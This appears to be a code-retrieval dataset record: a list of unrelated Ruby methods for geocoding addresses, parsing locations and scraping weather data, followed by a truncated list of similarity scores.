"def geocode_of_site(url)\n get_geo_info(url)['results'][0]['geometry']['location']\n end",
"def address_parts\n texts = @page.css('.claAngebot .claRight p').map(&:text)\n found_address = address_part(CITY_REGEXP, texts) || address_part(WEBSITE_REGEXP, texts) || ''\n found_address.split(\"\\n\").map { |line| clean_up_spaces(line) }\n end",
"def extract_location_weather(url)\n page = Nokogiri::HTML(open(url))\n\n # We are aiming at find detail string in a structure like:\n # <html>\n # ...\n # <td>METAR text:</td>\n # <td ...>\n # KVGT 080253Z 26005KT 10SM CLR 27/00 A2983 RMK AO2 SLP098 T02670000 56000\n # ...\n\n metar_tds = page.css('td').select { |node| node.text.strip == 'METAR text:' }\n return nil unless metar_tds.count > 0\n metar_td = metar_tds[0]\n\n metar_td.next_element.text.strip.split(\"\\n\").map(&:strip).join(' ')\n end",
"def geocodeAddress address\n \t logger.debug address\n \t result = HTTParty.get(\"http://maps.googleapis.com/maps/api/geocode/json\",\n \t :query => {\n \t :address => address,\n \t :sensor => false \n \t })\n \t \n \t logger.debug \"address geocoded ***********\"\n \t logger.debug result\n \t logger.debug result.parsed_response[\"results\"][0][\"geometry\"][\"location\"]\n \t \n \t return result.parsed_response[\"results\"][0][\"geometry\"][\"location\"]\n \tend",
"def geocode(address)\n response = HTTParty.get(\"https://maps.googleapis.com/maps/api/geocode/json?address=#{address.gsub(' ','+')}&key=#{API_KEY}\")\n sleep(1)\n data = JSON.parse(response.body)['results']\n location = []\n location << data[0]['geometry']['location']['lat']\n location << data[0]['geometry']['location']['lng']\n end",
"def find\n placenames = []\n begin\n placenames = Mapbox::Geocoder.geocode_forward(\n @search_text, \n {:proximity => {:longitude => @lng, :latitude => @lat}}\n )\n rescue Exception => e\n puts \"====================== Exception - MapboxApi - Places - find ======================\"\n puts e.message\n end\n\n return placenames\n end",
"def geocode(location)\n sanitized_location = URI.escape(location)\n api_uri = URI.parse(\"http://nominatim.openstreetmap.org/search/#{sanitized_location}?format=json\")\n\n city_data = JSON.parse(Net::HTTP.get(api_uri)).first\n\n latitude = city_data['lat'].to_f\n longitude = city_data['lon'].to_f\n\n return [latitude, longitude]\n end",
"def locate(address)\n location = (address.is_a?(String) ? address : location_from_params(address).to_s(:country => false))\n # yahoo pukes on line breaks\n get :location => location.gsub(\"\\n\", ', ')\n end",
"def locate(address)\n location = (address.is_a?(String) ? address : location_from_params(address).to_s(:country => false))\n # yahoo pukes on line breaks\n get :location => location.gsub(\"\\n\", ', ')\n end",
"def geocode!\n result = GeoKit::Geocoders::YahooGeocoder.geocode \"#{@street}, #{@city}, #{@state} #{@zip}\"\n if result.success?\n @street = result.street_address\n @city = result.city\n @state = result.state\n @zip = result.zip\n @country = result.country_code\n @lat = result.lat\n @lng = result.lng\n @status = STATUS_GEOCODED\n else\n @status = STATUS_GEOCODE_ERROR\n end\n end",
"def location\n # and call a private getter method within\n puts \"I live on #{address.split[1]} street.\"\n end",
"def geocode\n geo = Geokit::Geocoders::MultiGeocoder.geocode address.gsub(/\\n/, ', ')\n if geo.success\n self.lat, self.lng = geo.lat, geo.lng\n else\n errors.add(:address, 'Problem locating address')\n end\n end",
"def test_geocoders(address, threshold)\n locations = multi_geocode_address(address)\n # Assume that Google gets it right!\n authoritative_location = locations['google']\n if !authoritative_location\n if $verbose then $stderr.puts \"Google couldn't geocode '#{address}'\" end\n end\n result = {}\n locations.each do |name, location|\n if !authoritative_location or !location\n distance = nil\n passed = false\n else\n distance = distance_from_lat_lon(location, authoritative_location)\n passed = (distance < threshold)\n end\n result[name] = { 'passed' => passed, 'distance' => distance, 'location' => location }\n end\n result\nend",
"def get_address\n welcome_message\n puts \"What is your location?\"\n user_location = Geocoder.search(gets.chomp)[0]\n if user_location != nil\n adr = user_location\n @city = adr.city\n @lat = adr.latitude\n @lon = adr.longitude\n else\n no_match\n end\n end",
"def geo_code\n GeoCoder.broadcast(request.remote_ip)\n end",
"def location_code\n # find the closest location\n location = area || city || province\n location.post_code\n end",
"def geocode_address\n geo = Geokit::Geocoders::MultiGeocoder.geocode(self.address_string)\n if geo.success\n self.lat, self.lng = geo.lat, geo.lng\n else\n puts geo.class\n errors.add(:address, \"Could not Geocode address\")\n end\n end",
"def geo_location\n begin\n # Get Comma seperated coordinates and return as hash\n coordinates = @result[\"ipLocation\"][\"pointProperty\"][\"Point\"][\"coordinates\"].split(',')\n return { long: coordinates[0], lat: coordinates[1] }\n rescue \n raise \"geo location unknown\"\n end\n end",
"def fetch_locations\n log(' - Fetching location data (takes ~25s)...', false)\n results = {}\n ('a'..'z').to_a.each do |letter|\n response = get_response(\"http://www.railwaycodes.org.uk/stations/station#{letter}.shtm\")\n Nokogiri::HTML(response).xpath('//table/tr').each do |row|\n cols = row.xpath('./td').map(&:text)\n crs = row.xpath('./td').first.xpath('./a').first['name'].upcase rescue nil\n unless [crs, cols[6], cols[7]].include?(nil) || [crs, cols[6], cols[7]].include?('')\n results[crs] = { latitude: cols[7].to_f, longitude: cols[6].to_f }\n end\n end\n sleep(1) # be nice to railwaycodes.org.uk\n end\n log('DONE')\n results\nend",
"def perform\n resolve_context\n\n parse_location_string\n\n result\n end",
"def map_result(result)\n loc = result.dig('geometry', 'location') || {}\n geometry = Geoloco::Geometry.new(lat: loc['lat'], lng: loc['lng'])\n\n Geoloco::Location.new(\n geometry: geometry,\n full_address: result.dig('formatted_address'),\n street: get_component(result, 'route'),\n city: get_component(result, 'locality'),\n district: get_component(result, 'administrative_area_level_2'),\n municipality: get_component(result, 'administrative_area_level_3'),\n number: get_component(result, 'street_number'),\n state: get_component(result, 'administrative_area_level_1'),\n state_code: get_component(result, 'administrative_area_level_1', 'short_name'),\n zipcode: get_component(result, 'postal_code'),\n country: get_component(result, 'country'),\n country_code: get_component(result, 'country', 'short_name')\n )\n end",
"def geocode(address)\n result = Geocoder.search(address).first\n #result.latitude - float\n #result.longitude - float\n #result.coordinates - array of the above two\n #result.address - string\n #result.city - string\n #result.state - string\n #result.state_code - string\n #result.postal_code - string\n #result.country - string\n #result.country_code - string\n if result\n self.lat = result.latitude\n self.lng = result.longitude\n return true\n else\n return nil\n end\n end",
"def get_location(loc)\n geo = Geocoder.search(\"#{loc} seattle\")\n lat = geo[0].latitude\n lon = geo[0].longitude\n [lon, lat]\n end",
"def geocode\n do_lookup(false) do |o,rs|\n if r = rs.first\n unless r.coordinates.nil?\n o.__send__ \"#{self.class.geocoder_options[:coordinates]}=\", r.coordinates.reverse\n end\n r.coordinates\n end\n end\n end",
"def parse(text)\n\n # get lat, lon, gmt\n regex = /\\{(N|S)\\s*([0-9]*).\\s*([0-9]*)'\\}\\s*\\{(E|W)\\s*([0-9]*).\\s*([0-9]*)'\\}\\s*\\{GMT\\s*(.*)\\s*Hours\\}/\n match_data = text.match(regex)\n if match_data.nil?\n puts \"Can't find lat/lon/gmt\"\n return\n else\n\n @lat = match_data[2].to_f + (match_data[3].to_f)/60.0\n if match_data[1] == 'S'\n @lat = -@lat\n end\n\n @lon = match_data[5].to_f + (match_data[6].to_f)/60.0\n if match_data[4] == 'W'\n @lon = -@lon\n end\n\n @gmt = match_data[7]\n end\n\n # get elevation\n regex = /Elevation --\\s*(.*)m (above|below) sea level/\n match_data = text.match(regex)\n if match_data.nil?\n puts \"Can't find elevation\"\n return\n else\n @elevation = match_data[1].to_f\n if match_data[2] == 'below'\n @elevation = -@elevation\n end\n end\n\n\n\n\n\n\n\n # get heating and cooling degree days\n cdd10Regex = /-\\s*(.*) annual \\(standard\\) cooling degree-days \\(10.*C baseline\\)/\n match_data = text.match(cdd10Regex)\n if match_data.nil?\n puts \"Can't find CDD 10\"\n else\n @cdd10 = match_data[1].to_f\n end\n\n hdd10Regex = /-\\s*(.*) annual \\(standard\\) heating degree-days \\(10.*C baseline\\)/\n match_data = text.match(hdd10Regex)\n if match_data.nil?\n puts \"Can't find HDD 10\"\n else\n @hdd10 = match_data[1].to_f\n end\n\n cdd18Regex = /-\\s*(.*) annual \\(standard\\) cooling degree-days \\(18.3.*C baseline\\)/\n match_data = text.match(cdd18Regex)\n if match_data.nil?\n puts \"Can't find CDD 18\"\n else\n @cdd18 = match_data[1].to_f\n end\n \n hdd18Regex = /-\\s*(.*) annual \\(standard\\) heating degree-days \\(18.3.*C baseline\\)/\n match_data = text.match(hdd18Regex)\n if match_data.nil?\n puts \"Can't find HDD 18\"\n else\n @hdd18 = match_data[1].to_f\n end\n \n \n # Design Stat\tColdestMonth\tDB996\tDB990\tDP996\tHR_DP996\tDB_DP996\tDP990\tHR_DP990\tDB_DP990\tWS004c\tDB_WS004c\tWS010c\tDB_WS010c\tWS_DB996\tWD_DB996\t\n # \tUnits\t{}\t{�C}\t{�C}\t{�C}\t{}\t{�C}\t{�C}\t{}\t{�C}\t{m/s}\t{�C}\t{m/s}\t{�C}\t{m/s}\t{deg}\t\n # \tHeating\t12\t-7\t-4\t-13.9\t1.1\t-5\t-9.6\t1.7\t-2.9\t14.2\t5.9\t11.9\t6.8\t2.9\t100\n #use regex to get the temperatures\n regex = /\\s*Heating(\\s*\\d+.*)\\n/\n match_data = text.match(regex)\n if match_data.nil?\n puts \"Can't find heating design information\"\n else\n # first match is outdoor air temps\n \n heating_design_info_raw = match_data[1].strip.split(/\\s+/)\n\n # have to be 14 data points\n if heating_design_info_raw.size != 15\n puts \"Can't find cooling design info, found #{heating_design_info_raw.size}\"\n end\n\n # insert as numbers\n heating_design_info_raw.each do |value| \n @heating_design_info << value.to_f \n end\n #puts @heating_design_info\n end\n \n regex = /\\s*Cooling(\\s*\\d+.*)\\n/ \n match_data = text.match(regex)\n if match_data.nil?\n puts \"Can't find cooling design information\"\n else\n # first match is outdoor air temps\n \n design_info_raw = match_data[1].strip.split(/\\s+/)\n\n # have to be 14 data points\n if design_info_raw.size != 32\n puts \"Can't find cooling design info, found #{design_info_raw.size} \"\n end\n\n # insert as numbers\n design_info_raw.each do |value| \n @cooling_design_info << value \n end\n #puts @cooling_design_info\n end\n \n regex = /\\s*Extremes\\s*(.*)\\n/\n match_data = text.match(regex)\n if match_data.nil?\n puts \"Can't find extremes design information\"\n else\n # first match is outdoor air temps\n \n design_info_raw = match_data[1].strip.split(/\\s+/)\n\n # have to be 14 data points\n if design_info_raw.size != 16\n #puts \"Can't find extremes design info\"\n end\n\n # insert as numbers\n design_info_raw.each do |value| \n @extremes_design_info << value \n end\n #puts @extremes_design_info\n end\n \n \n\n\n #use regex to get the temperatures\n regex = /Daily Avg(.*)\\n/\n match_data = text.match(regex)\n if match_data.nil?\n puts \"Can't find outdoor air temps\"\n else\n # first match is outdoor air temps\n monthly_temps = match_data[1].strip.split(/\\s+/)\n\n # have to be 12 months\n if monthly_temps.size != 12\n puts \"Can't find outdoor air temps\"\n end\n\n # insert as numbers\n monthly_temps.each { |temp| @monthly_dry_bulb << temp.to_f }\n #puts \"#{@monthly_dry_bulb}\"\n end\n\n # now we are valid\n @valid = true\n end",
"def getlocation\r\n @myip = remote_ip()\r\n # based off freegeoip.net is really terrible\r\n result = Geocoder.search(@myip)\r\n @mylat = result.latitude\r\n @mylong = result.longitude\r\n @mycity = result.address\r\n #51.243048, -0.588458\r\n end",
"def geocode(options)\n response = client.get(GEOCODE_ENDPOINT, options)\n\n response.errors? && build_error_from(response.items.first) || build_location_from(response.items.first)\n end",
"def process(tweet)\n puts tweet\n hash_to_dict(tweet).each do |tag|\n if tag[0] == \"loc\"\n tag[1] = parse_location(tag[1])\n end\n p tag\n end\nend",
"def gmap_location\n # URI.escape([self.address,self.address2,self.city_name,self.region_code,self.postalcode,self.country.name].compact.join(' '))\n [self.address,self.region_name,self.postalcode].compact.join(' ')\n end",
"def geocode!(instance)\n result = coordinates(instance).first\n if result\n {\n lat: result.latitude,\n lon: result.longitude,\n region: result.state_code,\n locality: result.city,\n postalcode: result.postal_code,\n address: result.address\n }\n else\n {}\n end\n end",
"def location\n puts \"I live on #{address.split[-2, 2].join(' ')}\"\n end",
"def diagnostics\n loc = scour 5902\n address = /2501 West Memorial, Oklahoma City, OK.*73134/\n raise \"AMC address not parsing correctly: #{loc.address} expected to equal #{address}\" unless loc.address =~ address\n end",
"def location\n c = Country.find_country_by_alpha2(country)\n country_name = !c.nil? ? c.name : nil\n if (postcode and country)\n return postcode + \", \" + (country_name or country)\n else\n return (postcode or country_name or country)\n end\n end",
"def extract_coordinates(parsed)\n parsed['results'].first['geometry']['location']\nend",
"def extract_geolocation\n img_lat = get_exif('GPSLatitude')[0][1].split(', ') rescue nil\n img_lng = get_exif('GPSLongitude')[0][1].split(', ') rescue nil\n lat_ref = get_exif('GPSLatitudeRef')[0][1] rescue nil\n lng_ref = get_exif('GPSLongitudeRef')[0][1] rescue nil\n return unless img_lat && img_lng && lat_ref && lng_ref \n latitude = to_frac(img_lat[0]) + (to_frac(img_lat[1])/60) + (to_frac(img_lat[2])/3600)\n longitude = to_frac(img_lng[0]) + (to_frac(img_lng[1])/60) + (to_frac(img_lng[2])/3600) \n latitude = latitude * -1 if lat_ref == 'S' # (N is +, S is -)\n longitude = longitude * -1 if lng_ref == 'W' # (W is -, E is +) \n self.latitude = latitude\n self.longitude = longitude\n end",
"def get_text\n begin\n response = Weather.lookup_by_location(@city,@state)\n response.condition.text\n rescue\n return \"\"\n end\n end",
"def location\r\n infoxml = get_info\r\n return infoxml.at('location').inner_text\r\n end",
"def google_location\n \"#{(street.blank? ? '' : street + '<br>')}\n #{(street_no.blank? ? '' : street_no + '<br>')}\n #{(zip.blank? ? '' : zip + ' ')}#{(city.blank? ? '' : city + '<br>')}\n #{(state.blank? ? '' : state + '<br>')}\n #{(country_name.blank? ? '' : country_name)}\".html_safe\n end",
"def de_format_locations(string)\n # lat => '45.5192172',\n # long => '-122.6755683',\n # radius => 0.1,\n # look for locations\n loc.each do |k|\n sp = k.split('point_radius:')\n end\n string\n end",
"def based_near\n descMetadata.has_location #.map(&:location_name).flatten\n end",
"def geocode(host = nil)\n # Data accuracy, as returned by google geocoder - think this relates to zoom level too for google maps\n # 0\t Unknown location. (Since 2.59)\n # 1\t Country level accuracy. (Since 2.59)\n # 2\t Region (state, province, prefecture, etc.) level accuracy. (Since 2.59)\n # 3\t Sub-region (county, municipality, etc.) level accuracy. (Since 2.59)\n # 4\t Town (city, village) level accuracy. (Since 2.59)\n # 5\t Post code (zip code) level accuracy. (Since 2.59)\n # 6\t Street level accuracy. (Since 2.59)\n # 7\t Intersection level accuracy. (Since 2.59)\n # 8\t Address level accuracy. (Since 2.59\n \n host ||= User.environment[\"HOST\"] rescue \"localhost\"\n if self.country && !self.mappable?\n geocode_string = [self.location, self.city, self.state, self.country].compact.join(',')\n # puts \"Geocoding '#{geocode_string}'\"\n results = Geocoding::get(geocode_string, :host => host)\n if results.status == Geocoding::GEO_UNKNOWN_ADDRESS\n # Try with just city and country\n geocode_new_string = [self.city, self.country].compact.join(',')\n if geocode_new_string != geocode_string\n logger.info \"Asset: Address for '#{geocode_string}' unknown, trying with '#{geocode_new_string}'\"\n results = Geocoding::get(geocode_new_string, :host => host)\n geocode_string = geocode_new_string\n end\n end\n \n if results.status == Geocoding::GEO_SUCCESS\n # logger.info \"Geocoded '#{geocode_string}' with accuracy #{results[0].accuracy}\"\n self.latitude = results[0].latitude\n self.longitude = results[0].longitude\n self.geocode_accuracy = results[0].accuracy\n self.geocode_method = GEO_GOOGLE\n else\n logger.info \"Asset: Could not geocode '#{self.name}' with '#{geocode_string}'. Result was #{results.status}\"\n end\n end\n true\n end",
"def parse_address_text(text) \n #clear variables\n @errors = []\n @address_hash = {}\n \n @address_hash[:text_block] = text\n \n split_address_lines(text)\n \n #****************************DEBUG*********************************************************************\n # puts \"address_hash: #{@address_hash}\"\n # puts \"errors: #{@errors}\"\n #****************************DEBUG*********************************************************************\n \n return {address: @address_hash, errors: @errors}\nend",
"def locate(address)\n get :geo, :q => address\n end",
"def parse(locref, format)\r\n Rails.logger.debug \"parse '#{locref}', format = '#{format}'\"\r\n # reset the current state\r\n reset\r\n @location_reference = locref\r\n @format = format\r\n\r\n # the method signature defaults to parse_xxx where xxx is the name of the\r\n # LRS format.\r\n parse_method = \"parse_#{format.downcase}\"\r\n if @geocoding_service.respond_to? parse_method\r\n method_object = @geocoding_service.method parse_method\r\n method_object.call @location_reference\r\n\r\n # process the results. If errors were generated then we add them to this\r\n # list of errors\r\n if @geocoding_service.has_errors?\r\n @geocoding_service.errors.each do |e|\r\n @errors << e\r\n end\r\n else\r\n # propagate any warnings from the service to this instance\r\n @geocoding_service.warnings.each {|x| @warnings << x}\r\n # get the coordinates from the geocoder if any are present\r\n @coords = @geocoding_service.coords\r\n # cache the canoical representation of the address, if one is provided\r\n @formatted_location_reference = @geocoding_service.formatted_location_reference\r\n @from_node = @geocoding_service.try(:from_node)\r\n @to_node = @geocoding_service.try(:to_node)\r\n end\r\n else\r\n @errors << \"Geocoder method #{parse_method} is not supported for geocoding service #{GEOCODING_SERVICE}\"\r\n end\r\n\r\n @errors.empty?\r\n end",
"def location\n [city, state, zip_code].join(\" \")\n end",
"def location\n [city, state, zip_code].join(\" \")\n end",
"def location\n [city, state, zip_code].join(\" \")\n end",
"def by_location! latitude, longitude\n type = TZDetect::Configuration.service\n case type\n when :google\n geocoder = GoogleParser.new(latitude, longitude)\n when :geoname\n geocoder = GeonameParser.new(latitude, longitude)\n else\n raise TZDetect::Error::Configuration, \"wrong configuration for field type\"\n end\n TZInfo::Timezone.get geocoder.timezone!\n end",
"def locate(latitude,longitude)\n get escape(\"lat=#{latitude}&lon=#{longitude}\")\n end",
"def get_lat_long(doc) \r\n\tscript1 = doc.css('body #container #content script')[1]\r\n\tlat_lon = /\"latitude\":\"(\\d+\\.\\d+)\",\"longitude\":\"(-\\d+\\.\\d+)\"/.match(script1.to_s)\r\n\t# puts \"lat is #{lat_lon[1]} long is #{lat_lon[2]} \"\r\n end",
"def get_location_info(article_id)\n \n location_id_info_object = MatchAwL.find_by_var(\"articles_with_locations\", \"article_id\", article_id)\n location_id = location_id_info_object.location_id\n location_object = Location.find_by_var(\"location_keys\", \"id\", location_id)\n @location_name = location_object.location_name\n \n @address = location_object.address\n \n end",
"def geocode_locations\n coords = Geocoder.coordinates(self.location)\n if coords.nil?\n self.lat = nil\n self.long = nil\n else\n self.lat = coords[0]\n self.long = coords[1]\n end\n end",
"def find_city(lat,lng)\n if Geocoder::Calculations.distance_between([lat,lng], [40.698390,-73.98843]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [40.76813,-73.96439]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76423,-122.47743]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76912,-122.42593]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.85887,2.30965]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.86068,2.36389]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [51.51,-0.13]) < 20\n \"london\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.57664,-46.69787]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.55838,-46.64362]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.64446,139.70695]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.70136,139.73991]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.06901,-118.35904]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.07499,-118.28763]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.02663,-118.45998]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [50.07832,14.41619]) < 20\n \"prague\"\n else\n \"unknown\"\n end\n end",
"def search_location(user_lat, user_long, keyword)\n begin\n location_search = LocationSearch.new(user_lat, user_long, keyword)\n location_search.load\n if location_search.autocomplete_list.empty?\n \"No Results found\"\n else\n location_search.autocomplete_list\n end\n rescue => e\n \"Something went Wrong !! #{e.inspect}\"\n end\n end",
"def load_precise_info\n @coordinates = @location[:coordinates] unless @location[:coordinates].nil?\n return if @location[:formattedAddress].nil?\n @formatted_address = @location[:formattedAddress]\n end",
"def maps_api_location\n \"#{self.city}+#{self.state.sub(\"International\", \"\")}\".sub(\" \", \"+\")\n end",
"def geocode\n \n # Populate the @traveler variable\n get_traveler\n \n @query = params[:query]\n @target = params[:target]\n \n if @target == \"0\"\n icon_base = 'startCandidate'\n key_base = 'start_candidate'\n cache_key = CACHED_FROM_ADDRESSES_KEY\n elsif @target == \"1\"\n icon_base = 'stopCandidate'\n key_base = 'stop_candidate'\n cache_key = CACHED_TO_ADDRESSES_KEY\n else\n icon_base = \"placeCandidate\"\n key_base = 'place_candidate'\n cache_key = CACHED_PLACES_ADDRESSES_KEY\n end\n\n geocoder = OneclickGeocoder.new\n geocoder.geocode(@query)\n # cache the results\n cache_addresses(cache_key, geocoder.results)\n\n # This array will hold the list of candidate places\n @matches = [] \n # We create a unique index for mapping etc for each place we find. Limited to 26 candidates as there are no letters past 'Z'\n geocoder.results.each_with_index do |addr, index|\n icon_style = icon_base + ALPHABET[index] \n key = key_base + index.to_s\n @matches << get_addr_marker(addr, key, icon_style) unless index > 25\n end\n \n respond_to do |format|\n format.js { render \"show_geocoding_results\" }\n format.json { render :json => @matches, :status => :created, :location => @matches }\n end\n end",
"def geocode\n @location = Location.find(params[:id])\n if @location.lat.blank? or @location.lng.blank?\n res = MultiGeocoder.geocode(@location.street + ', ' + @location.city + ', ' + @location.state + ', ' + @location.country)\n \n if !res.lng.blank? or !res.lat.blank?\n @location.lat = res.lat\n @location.lng = res.lng\n @location.save\n flash[:notice] = 'Geocoding results: ' + res.lat.to_s + ', ' + res.lng.to_s\n \n else\n flash[:notice] = 'Geocoding failed'\n end\n \n end\n \n respond_to do |format|\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n end\n end",
"def location\n b = []\n b << latitude\n b << longitude\n Geocoder.coordinates(b)\n end",
"def geocode\n self.coordinates = RepairingGeocoder.calc_coordinates(obj_address, address_to)\n end",
"def map_locs\n [location]\n end",
"def map_locs\n [location]\n end",
"def location\n if [latitude, longitude].all?(&:present?)\n [latitude, longitude]\n end\n end",
"def location\n return [city, state, zip_code].join(\" \")\n end",
"def process_line(line)\n\n # get the details from each line\n elements = line.split(';').each { |e| e.strip! }\n name = elements[0]\n address = elements[1]\n phone = elements[2]\n fax = elements[3]\n email = elements[4]\n \n # get the postcode from the address\n temp = address.split(',').each { |e| e.strip! }\n postcode = temp.last\n \n # remove the period\n if (postcode.end_with?(\".\"))\n postcode = postcode[0..-2]\n end\n \n #lookup the latitude and longitude from the postcode\n point = PostCodeLookup.new(postcode.sub(/ /, '')).lookup\n location = LibraryLocation.new($bcc_library, name, address, point)\n\n @@address_list << location\n end",
"def geocode\n uri = URI::HTTP.build(:scheme => 'http',\n :host => 'maps.googleapis.com',\n :path => '/maps/api/geocode/json',\n :query => URI.encode_www_form(:address => \"#{self.address}\",\n :sensor => false))\n\n response = Net::HTTP.get_response(uri)\n if response.is_a?(Net::HTTPSuccess)\n json = JSON.parse(response.body)\n Rails.logger.error json\n location = json[\"results\"].first[\"geometry\"][\"location\"]\n self.lat = location[\"lat\"]\n self.lng = location[\"lng\"]\n end\n self\n end",
"def coordinates(user_address)\n geocoding_url = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/geocode/json\",\n :query_values => {:address => user_address,\n :sensor => false}\n ).to_s\n\n response = JSON.parse(RestClient.get(geocoding_url))\n location = response[\"results\"][0][\"geometry\"][\"location\"]\n location_string = \"#{location[\"lat\"]},#{location[\"lng\"]}\"\nend",
"def get_address_coordinates(street, city)\n # puts \"got in get_location_coordinates\"\n # puts \"inside get_coordinates #{street}\"\n # puts \"inside get_coordinates #{city}\"\n\n coordinate_results = Geocoder.search(\"#{street}, #{city}\")\n\n # puts \"the results are #{coordinate_results}\"\n coordinate_results_lat = coordinate_results[0].data[\"geometry\"][\"location\"][\"lat\"]\n coordinate_results_lng = coordinate_results[0].data[\"geometry\"][\"location\"][\"lng\"]\n # puts \"final coordinates are #{coordinate_results_lat}, #{coordinate_results_lng}\"\n # return_result = \"\\\"#{coordinate_results_lat}, #{coordinate_results_lng}\\\"\"\n return coordinate_results_lat, coordinate_results_lng\n #binding.pry\nend",
"def render_map_location latitude, longitude\n \"#{import_google_places_library}<div style='height: 220px;' class='hook_caller' data-callback='Common.render_location' data-lat='#{latitude}' data-lng='#{longitude}'></div>\".html_safe if latitude && longitude\n end",
"def geocode\n name = params[:name].to_s\n if params[:format]\n name = Location.reverse_name(name) if params[:format] == \"scientific\"\n elsif @user = get_session_user!\n name = Location.reverse_name(name) if @user.location_format == :scientific\n end\n render(inline: Geocoder.new(name).ajax_response)\n end",
"def annotate(text, opts)\n set_options(opts)\n\n if @options[\"matching_method\"] == \"exact\"\n results = annotate_based_on_exact_string_matching(text)\n elsif @options[\"matching_method\"] == \"approximate\"\n results = annotate_based_on_approximate_string_matching(text)\n else\n results = []\n end\n\n results \n end",
"def tryWorldKit(location)\n url = getWorldKitURL(location)\n if url\n xml_data = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(xml_data)\n if doc.elements[\"*/geo:Point/geo:long\"]\n long = doc.elements[\"*/geo:Point/geo:long\"].text\n lat = doc.elements[\"*/geo:Point/geo:lat\"].text\n return [lat, long]\n else\n return nil\n end\n else\n return nil\n end\n end",
"def return_location(location, line)\n\t\n\nend",
"def geographic_search\n @geographic_search ||= begin\n result = sw_geographic_search\n\n # TODO: this should go into stanford-mods ... but then we have to set that gem up with a Logger\n # print a message for any unrecognized encodings\n xvals = subject.geographicCode.translated_value\n codes = term_values([:subject, :geographicCode])\n if codes && codes.size > xvals.size\n subject.geographicCode.each { |n|\n next unless n.authority != 'marcgac' && n.authority != 'marccountry'\n\n sw_logger.info(\"#{druid} has subject geographicCode element with untranslated encoding (#{n.authority}): #{n.to_xml}\")\n }\n end\n\n # FIXME: stanford-mods should be returning [], not nil ...\n return nil if !result || result.empty?\n\n result\n end\n end",
"def address\n # match Geocoder::Result::Google#formatted_address\n \"#{street}, #{city}, #{state} #{zip}, #{country}\"\n end",
"def parse_response(xml) #:nodoc:\n longitude = xml.elements['/GeocodeResponse/LocationCollection/GeoAddress/LatLng/Lng'].text.to_f\n latitude = xml.elements['/GeocodeResponse/LocationCollection/GeoAddress/LatLng/Lat'].text.to_f\n returning Location.new(:latitude => latitude, :longitude => longitude) do |l|\n address = REXML::XPath.first(xml, '/GeocodeResponse/LocationCollection/GeoAddress')\n\n if address\n l.street = value(address.elements['./Street/text()'])\n l.locality = value(address.elements['./AdminArea5/text()'])\n l.region = value(address.elements['./AdminArea3/text()'])\n l.postal_code = value(address.elements['./PostalCode/text()'])\n l.country = value(address.elements['./AdminArea1/text()'])\n l.precision = PRECISION[value(address.elements['./ResultCode/text()'])[0,2]]\n end\n end\n end",
"def legislators_locate(*args)\n get('/legislators/locate', extract_location(args))\n end",
"def getLocation\n loc = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/geocode/json\",\n :query_values => {:address => \"160+Folsom,+San+Francisco,+CA\",\n :sensor => \"false\"}).to_s\n\n location_request = RestClient.get(loc)\n parsed_location_request = JSON.parse(location_request)\n\n lat = parsed_location_request[\"results\"][0][\"geometry\"][\"location\"][\"lat\"].to_s\n lng = parsed_location_request[\"results\"][0][\"geometry\"][\"location\"][\"lng\"].to_s\n\n [lat,lng]\nend",
"def locations(body, headers, media_type)\n if logger_debug?\n logger.debug \"Parsing locations from #{media_type.inspect} in #{body.inspect} and #{headers.inspect}\"\n end\n\n if URI_LIST_TYPES.include? media_type\n Text::Location.uri_list transform_body(body)\n elsif HEADERS_TEXT_TYPES.include? media_type\n Text::Location.plain transform_headers(headers)\n else\n Text::Location.plain transform_body(body)\n end\n end",
"def user_location\n return JSON.parse open(\"http://freegeoip.net/json\").read\nend",
"def location\n fetch('hey_arnold.locations')\n end",
"def place_info(postcode)\n send_geo_request(postcode).data\n end",
"def parse_response(result) #:nodoc:\n #return result\n addr = result[\"address\"]\n puts addr[\"postcode\"]\n Location.new(\n :postal_code => addr[\"postcode\"],\n :region => addr[\"state\"],\n :country => addr[\"country_code\"]\n )\n end",
"def find_lat_long(sites)\n sites.each do |site|\n if site.zip\n location_input = site.zip\n elsif site.state\n location_input = \"#{site.city}, #{site.state}\"\n else\n location_input = \"#{site.city}, #{site.country}\"\n end\n coordinates = Geocoder::Calculations.extract_coordinates(location_input)\n site.latitude = coordinates[0]\n site.longitude = coordinates[1]\n site.save\n end\nend"
] |
[
"0.64249235",
"0.636456",
"0.6233864",
"0.6180585",
"0.6166833",
"0.61370474",
"0.59910446",
"0.596455",
"0.59637463",
"0.5858849",
"0.57827604",
"0.577601",
"0.571293",
"0.57094467",
"0.56417775",
"0.5622916",
"0.55897534",
"0.5581972",
"0.55818427",
"0.557348",
"0.5544919",
"0.5538309",
"0.55281174",
"0.55281174",
"0.5527197",
"0.5498745",
"0.54946977",
"0.5468072",
"0.5460994",
"0.5451849",
"0.54311097",
"0.54290545",
"0.54258406",
"0.54035294",
"0.54025185",
"0.53816396",
"0.53801066",
"0.53733903",
"0.5359654",
"0.53561825",
"0.5355575",
"0.53543335",
"0.5349905",
"0.5344434",
"0.53369313",
"0.5333513",
"0.5323797",
"0.53220457",
"0.53089774",
"0.53068787",
"0.529721",
